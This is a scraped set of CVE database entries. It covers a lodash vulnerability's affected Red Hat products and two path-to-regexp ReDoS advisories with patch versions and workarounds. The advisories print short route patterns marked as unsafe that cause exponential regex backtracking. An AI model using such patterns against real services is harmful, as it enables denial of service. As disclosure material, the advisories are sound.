| https://access.redhat.com/errata/RHSA-2026:17448 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:20042 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:20041 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17469 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17468 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:29795 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10175 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:20946 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:20943 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:8483 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:8484 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:8490 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:8491 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:8493 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:9385 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17549 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17550 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17547 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:12279 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:12277 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:14870 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:14871 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:8498 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10131 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:34608 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13571 | vendor-advisoryx_refsource_REDHAT |
Impacted products
107 products
| Vendor | Product | Version | |
|---|---|---|---|
| lodash | lodash |
Affected:
4.0.0 , < 4.18.0
(semver)
Unaffected: 4.18.0 (semver) |
|
| lodash | lodash-es |
Affected:
4.0.0 , < 4.18.0
(semver)
Unaffected: 4.18.0 (semver) |
|
| lodash | lodash-amd |
Affected:
4.0.0 , < 4.18.0
(semver)
Unaffected: 4.18.0 (semver) |
|
| lodash | lodash.template |
Affected:
4.0.0 , < 4.18.0
(semver)
Unaffected: 4.18.0 (semver) |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 for RHEL 9 |
cpe:/a:redhat:ansible_automation_platform:2.6::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9 cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9 |
|
| Red Hat | Cryostat 4 on RHEL 9 |
cpe:/a:redhat:cryostat:4::el9 |
|
| Red Hat | Red Hat Enterprise Linux AppStream (v. 10) |
cpe:/o:redhat:enterprise_linux:10.2 |
|
| Red Hat | Cluster Observability Operator 1.5.0 |
cpe:/a:redhat:cluster_observability_operator:1.5::el9 |
|
| Red Hat | Red Hat Enterprise Linux High Availability EUS (v. 10.0) |
cpe:/o:redhat:enterprise_linux_eus:10.0 |
|
| Red Hat | Red Hat Enterprise Linux High Availability (v. 10) |
cpe:/o:redhat:enterprise_linux:10.1 cpe:/o:redhat:enterprise_linux:10.2 |
|
| Red Hat | Red Hat Enterprise Linux High Availability AUS (v.8.4) |
cpe:/a:redhat:rhel_aus:8.4::highavailability |
|
| Red Hat | Red Hat Enterprise Linux HighAvailability EUS EXTENSION (v.8.4) |
cpe:/a:redhat:rhel_eus_long_life:8.4::highavailability |
|
| Red Hat | Red Hat Enterprise Linux High Availability E4S (v.8.6) |
cpe:/a:redhat:rhel_e4s:8.6::highavailability |
|
| Red Hat | Red Hat Enterprise Linux High Availability TUS (v.8.6) |
cpe:/a:redhat:rhel_tus:8.6::highavailability |
|
| Red Hat | Red Hat Enterprise Linux High Availability E4S (v.8.8) |
cpe:/a:redhat:rhel_e4s:8.8::highavailability |
|
| Red Hat | Red Hat Enterprise Linux High Availability TUS (v.8.8) |
cpe:/a:redhat:rhel_tus:8.8::highavailability |
|
| Red Hat | Red Hat Enterprise Linux High Availability E4S (v.9.0) |
cpe:/a:redhat:rhel_e4s:9.0::highavailability |
|
| Red Hat | Red Hat Enterprise Linux High Availability E4S (v.9.2) |
cpe:/a:redhat:rhel_e4s:9.2::highavailability |
|
| Red Hat | Red Hat Enterprise Linux High Availability EUS (v.9.4) |
cpe:/a:redhat:rhel_eus:9.4::highavailability |
|
| Red Hat | Red Hat Enterprise Linux High Availability EUS (v.9.6) |
cpe:/a:redhat:rhel_eus:9.6::highavailability |
|
| Red Hat | Red Hat Enterprise Linux High Availability (v. 9) |
cpe:/a:redhat:enterprise_linux:9::highavailability |
|
| Red Hat | Migration Toolkit for Virtualization 2.1 |
cpe:/a:redhat:migration_toolkit_virtualization:2.10::el9 |
|
| Red Hat | Migration Toolkit for Virtualization 2.9 |
cpe:/a:redhat:migration_toolkit_virtualization:2.9::el9 |
|
| Red Hat | Network Observability (NETOBSERV) 1.11.2 |
cpe:/a:redhat:network_observ_optr:1.11::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 |
cpe:/a:redhat:ansible_automation_platform:2.5::el8 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 |
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Data Grid 8.6.1 |
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Red Hat Developer Hub 1.8 |
cpe:/a:redhat:rhdh:1.8::el9 |
|
| Red Hat | Red Hat Developer Hub 1.9 |
cpe:/a:redhat:rhdh:1.9::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.17 |
cpe:/a:redhat:openshift:4.17::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.18 |
cpe:/a:redhat:openshift:4.18::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.19 |
cpe:/a:redhat:openshift:4.19::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.20 |
cpe:/a:redhat:openshift:4.20::el9 |
|
| Red Hat | Red Hat OpenShift Container Platform 4.22 |
cpe:/a:redhat:openshift:4.22::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.27 |
cpe:/a:redhat:openshift_devspaces:3.27::el9 |
|
| Red Hat | Red Hat OpenShift GitOps 1.18 |
cpe:/a:redhat:openshift_gitops:1.18::el8 |
|
| Red Hat | Red Hat OpenShift GitOps 1.19 |
cpe:/a:redhat:openshift_gitops:1.19::el8 |
|
| Red Hat | Red Hat OpenShift Service Mesh 2.6 |
cpe:/a:redhat:service_mesh:2.6::el8 |
|
| Red Hat | Red Hat OpenShift Service Mesh 3.0 |
cpe:/a:redhat:service_mesh:3.0::el9 |
|
| Red Hat | Red Hat OpenShift Service Mesh 3.1 |
cpe:/a:redhat:service_mesh:3.1::el9 |
|
| Red Hat | Red Hat OpenShift Service Mesh 3.2 |
cpe:/a:redhat:service_mesh:3.2::el9 |
|
| Red Hat | Red Hat OpenShift Service Mesh 3.3 |
cpe:/a:redhat:service_mesh:3.3::el9 |
|
| Red Hat | Red Hat OpenShift distributed tracing 3.9.3 |
cpe:/a:redhat:openshift_distributed_tracing:3.9::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.16 |
cpe:/a:redhat:openshift_data_foundation:4.16::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.17 |
cpe:/a:redhat:openshift_data_foundation:4.17::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.18 |
cpe:/a:redhat:openshift_data_foundation:4.18::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.19 |
cpe:/a:redhat:openshift_data_foundation:4.19::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.2 |
cpe:/a:redhat:openshift_data_foundation:4.20::el9 |
|
| Red Hat | Red Hat Satellite 6.18 |
cpe:/a:redhat:satellite:6.18::el9 |
|
| Red Hat | Red Hat Trusted Artifact Signer 1.3 |
cpe:/a:redhat:trusted_artifact_signer:1.3::el9 |
|
| Red Hat | Red Hat Enterprise Linux ResilientStorage E4S (v.9.0) |
cpe:/a:redhat:rhel_e4s:9.0::resilientstorage |
|
| Red Hat | Red Hat Enterprise Linux Resilient Storage E4S (v.9.2) |
cpe:/a:redhat:rhel_e4s:9.2::resilientstorage |
|
| Red Hat | Red Hat Enterprise Linux Resilient Storage EUS (v.9.4) |
cpe:/a:redhat:rhel_eus:9.4::resilientstorage |
|
| Red Hat | Red Hat Enterprise Linux Resilient Storage EUS (v.9.6) |
cpe:/a:redhat:rhel_eus:9.6::resilientstorage |
|
| Red Hat | Red Hat Enterprise Linux Resilient Storage (v. 9) |
cpe:/a:redhat:enterprise_linux:9::resilientstorage |
|
| Red Hat | Streams for Apache Kafka 2.9.4 |
cpe:/a:redhat:amq_streams:2.9::el9 |
|
| Red Hat | Streams for Apache Kafka 3.2.0 |
cpe:/a:redhat:amq_streams:3.2::el9 |
|
| Red Hat | Confidential Compute Attestation |
cpe:/a:redhat:confidential_compute_attestation:1 |
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | Logging Subsystem for Red Hat OpenShift |
cpe:/a:redhat:logging:5 |
|
| Red Hat | Migration Toolkit for Applications 8 |
cpe:/a:redhat:migration_toolkit_applications:8 |
|
| Red Hat | Migration Toolkit for Containers |
cpe:/a:redhat:rhmt:1 |
|
| Red Hat | Node HealthCheck Operator |
cpe:/a:redhat:workload_availability_nhc:0 |
|
| Red Hat | OpenShift Lightspeed |
cpe:/a:redhat:openshift_lightspeed |
|
| Red Hat | OpenShift Pipelines |
cpe:/a:redhat:openshift_pipelines:1 |
|
| Red Hat | Red Hat 3scale API Management Platform 2 |
cpe:/a:redhat:red_hat_3scale_amp:2 |
|
| Red Hat | Red Hat Advanced Cluster Security 4 |
cpe:/a:redhat:advanced_cluster_security:4 |
|
| Red Hat | Red Hat Ansible Automation Platform 2 |
cpe:/a:redhat:ansible_automation_platform:2 |
|
| Red Hat | Red Hat build of Apache Camel - HawtIO 4 |
cpe:/a:redhat:apache_camel_hawtio:4 |
|
| Red Hat | Red Hat build of Apicurio Registry 2 |
cpe:/a:redhat:service_registry:2 |
|
| Red Hat | Red Hat build of Apicurio Registry 3 |
cpe:/a:redhat:apicurio_registry:3 |
|
| Red Hat | Red Hat Build of Keycloak |
cpe:/a:redhat:build_keycloak: |
|
| Red Hat | Red Hat Build of Podman Desktop |
cpe:/a:redhat:podman_desktop:1 |
|
| Red Hat | Red Hat Connectivity Link 1 |
cpe:/a:redhat:connectivity_link:1 |
|
| Red Hat | Red Hat Developer Hub |
cpe:/a:redhat:rhdh:1 |
|
| Red Hat | Red Hat Discovery 2 |
cpe:/a:redhat:discovery:2::el9 |
|
| Red Hat | Red Hat Edge Manager 1 |
cpe:/a:redhat:edge_manager:1 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
cpe:/o:redhat:enterprise_linux:10 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Enterprise Linux AI (RHEL AI) 3 |
cpe:/a:redhat:enterprise_linux_ai:3 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4 |
|
| Red Hat | Red Hat OpenShift GitOps |
cpe:/a:redhat:openshift_gitops:1 |
|
| Red Hat | Red Hat OpenShift Virtualization 4 |
cpe:/a:redhat:container_native_virtualization:4 |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | Red Hat Trusted Profile Analyzer |
cpe:/a:redhat:trusted_profile_analyzer:2 |
|
| Red Hat | Self-service automation portal 2 |
cpe:/a:redhat:ansible_portal:2 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 for RHEL 10 |
cpe:/a:redhat:ansible_automation_platform:2.6::el10 cpe:/a:redhat:ansible_automation_platform_developer:2.6::el10 |
|
| Red Hat | Gatekeeper 3 |
cpe:/a:redhat:gatekeeper:3 |
|
| Red Hat | Multicluster Engine for Kubernetes |
cpe:/a:redhat:multicluster_engine |
|
| Red Hat | OpenShift Service Mesh 3 |
cpe:/a:redhat:service_mesh:3 |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2 |
cpe:/a:redhat:acm:2 |
|
| Red Hat | Red Hat Directory Server 11 |
cpe:/a:redhat:directory_server:11 |
|
| Red Hat | Red Hat Directory Server 12 |
cpe:/a:redhat:directory_server:12 |
|
| Red Hat | Red Hat Directory Server 13 |
cpe:/a:redhat:directory_server:13 |
|
| Red Hat | Red Hat Enterprise Linux 7 |
cpe:/o:redhat:enterprise_linux:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat Quay 3 |
cpe:/a:redhat:quay:3 |
|
| Red Hat | Red Hat Trusted Artifact Signer |
cpe:/a:redhat:trusted_artifact_signer:1 |
Credits
dolevmiz1
bugbunny-research
M0nd0R
UlisesGascon
falsyvalues
jonchurch
threalwinky
jdalton
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4800",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-31T20:36:55.080392Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T20:37:03.964Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10.2"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AppStream (v. 10)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cluster_observability_operator:1.5::el9"
],
"defaultStatus": "affected",
"product": "Cluster Observability Operator 1.5.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux_eus:10.0"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability EUS (v. 10.0)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10.1",
"cpe:/o:redhat:enterprise_linux:10.2"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability (v. 10)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_aus:8.4::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability AUS (v.8.4)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_eus_long_life:8.4::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux HighAvailability EUS EXTENSION (v.8.4)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_e4s:8.6::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability E4S (v.8.6)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_tus:8.6::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability TUS (v.8.6)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_e4s:8.8::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability E4S (v.8.8)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_tus:8.8::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability TUS (v.8.8)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_e4s:9.0::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability E4S (v.9.0)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_e4s:9.2::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability E4S (v.9.2)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_eus:9.4::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability EUS (v.9.4)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_eus:9.6::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability EUS (v.9.6)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux:9::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability (v. 9)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_virtualization:2.10::el9"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Virtualization 2.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_virtualization:2.9::el9"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Virtualization 2.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8.6.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.17::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.17",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.19::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.19",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.20::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.20",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.22::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.22",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_gitops:1.18::el8"
],
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CVE-2026-4923 (GCVE-0-2026-4923)
Vulnerability from cvelistv5 – Published: 2026-03-26 19:02 – Updated: 2026-03-27 13:58
VLAI
EPSS
Title
path-to-regexp vulnerable to Regular Expression Denial of Service via multiple wildcards
Summary
Impact:
When using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.
Unsafe examples:
/*foo-*bar-:baz
/*a-:b-*c-:d
/x/*a-:b/*c/y
Safe examples:
/*foo-:bar
/*foo-:bar-*baz
Patches:
Upgrade to version 8.4.0.
Workarounds:
If you are using multiple wildcard parameters, you can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable.
Severity
5.9 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-1333 - Inefficient Regular Expression Complexity
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| path-to-regexp | path-to-regexp |
Affected:
8.0.0 , < 8.4.0
(semver)
Unaffected: 8.4.0 (semver) |
Credits
blakeembrey
UlisesGascon
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CVE-2026-4926 (GCVE-0-2026-4926)
Vulnerability from cvelistv5 – Published: 2026-03-26 18:59 – Updated: 2026-06-30 12:10
VLAI
EPSS
Title
path-to-regexp vulnerable to Denial of Service via sequential optional groups
Summary
Impact:
A bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as `{a}{b}{c}:z`. The generated regex grows exponentially with the number of groups, causing denial of service.
Patches:
Fixed in version 8.4.0.
Workarounds:
Limit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
17 references
| URL | Tags |
|---|---|
| https://cna.openjsf.org/security-advisories.html | |
| https://access.redhat.com/security/cve/CVE-2026-4926 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2451867 | issue-trackingx_refsource_REDHAT |
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| https://access.redhat.com/errata/RHSA-2026:19409 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:19410 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:24866 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13545 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:9742 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13826 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10175 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:9385 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10172 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10153 | vendor-advisoryx_refsource_REDHAT |
Impacted products
51 products
| Vendor | Product | Version | |
|---|---|---|---|
| path-to-regexp | path-to-regexp |
Affected:
8.0.0 , < 8.4.0
(semver)
Unaffected: 8.4.0 (semver) |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 8 |
cpe:/a:redhat:ansible_automation_platform:2.5::el8 cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8 cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 9 |
cpe:/a:redhat:ansible_automation_platform:2.5::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9 cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 for RHEL 9 |
cpe:/a:redhat:ansible_automation_platform:2.6::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9 cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9 |
|
| Red Hat | Cryostat 4 on RHEL 9 |
cpe:/a:redhat:cryostat:4::el9 |
|
| Red Hat | Migration Toolkit for Virtualization 2.1 |
cpe:/a:redhat:migration_toolkit_virtualization:2.10::el9 |
|
| Red Hat | Migration Toolkit for Virtualization 2.9 |
cpe:/a:redhat:migration_toolkit_virtualization:2.9::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 |
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Developer Hub 1.8 |
cpe:/a:redhat:rhdh:1.8::el9 |
|
| Red Hat | Red Hat Developer Hub 1.9 |
cpe:/a:redhat:rhdh:1.9::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.27 |
cpe:/a:redhat:openshift_devspaces:3.27::el9 |
|
| Red Hat | Red Hat OpenShift distributed tracing 3.9.3 |
cpe:/a:redhat:openshift_distributed_tracing:3.9::el9 |
|
| Red Hat | Red Hat Trusted Artifact Signer 1.3 |
cpe:/a:redhat:trusted_artifact_signer:1.3::el9 |
|
| Red Hat | Logging Subsystem for Red Hat OpenShift |
cpe:/a:redhat:logging:5 |
|
| Red Hat | Migration Toolkit for Applications 8 |
cpe:/a:redhat:migration_toolkit_applications:8 |
|
| Red Hat | Multicluster Engine for Kubernetes |
cpe:/a:redhat:multicluster_engine |
|
| Red Hat | OpenShift Pipelines |
cpe:/a:redhat:openshift_pipelines:1 |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2 |
cpe:/a:redhat:acm:2 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat Ansible Automation Platform 2 |
cpe:/a:redhat:ansible_automation_platform:2 |
|
| Red Hat | Red Hat Build of Podman Desktop |
cpe:/a:redhat:podman_desktop:1 |
|
| Red Hat | Red Hat Data Grid 8 |
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Red Hat Developer Hub |
cpe:/a:redhat:rhdh:1 |
|
| Red Hat | Red Hat Edge Manager 1 |
cpe:/a:redhat:edge_manager:1 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4 |
|
| Red Hat | Red Hat Openshift Data Foundation 4 |
cpe:/a:redhat:openshift_data_foundation:4 |
|
| Red Hat | Red Hat OpenShift GitOps |
cpe:/a:redhat:openshift_gitops:1 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | Self-service automation portal 2 |
cpe:/a:redhat:ansible_portal:2 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 for RHEL 10 |
cpe:/a:redhat:ansible_automation_platform:2.6::el10 cpe:/a:redhat:ansible_automation_platform_developer:2.6::el10 |
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | Network Observability Operator |
cpe:/a:redhat:network_observ_optr:1 |
|
| Red Hat | OpenShift Lightspeed |
cpe:/a:redhat:openshift_lightspeed |
|
| Red Hat | OpenShift Service Mesh 2 |
cpe:/a:redhat:service_mesh:2 |
|
| Red Hat | OpenShift Service Mesh 3 |
cpe:/a:redhat:service_mesh:3 |
|
| Red Hat | Red Hat Advanced Cluster Security 4 |
cpe:/a:redhat:advanced_cluster_security:4 |
|
| Red Hat | Red Hat build of Apache Camel - HawtIO 4 |
cpe:/a:redhat:apache_camel_hawtio:4 |
|
| Red Hat | Red Hat build of Apicurio Registry 2 |
cpe:/a:redhat:service_registry:2 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
cpe:/o:redhat:enterprise_linux:10 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
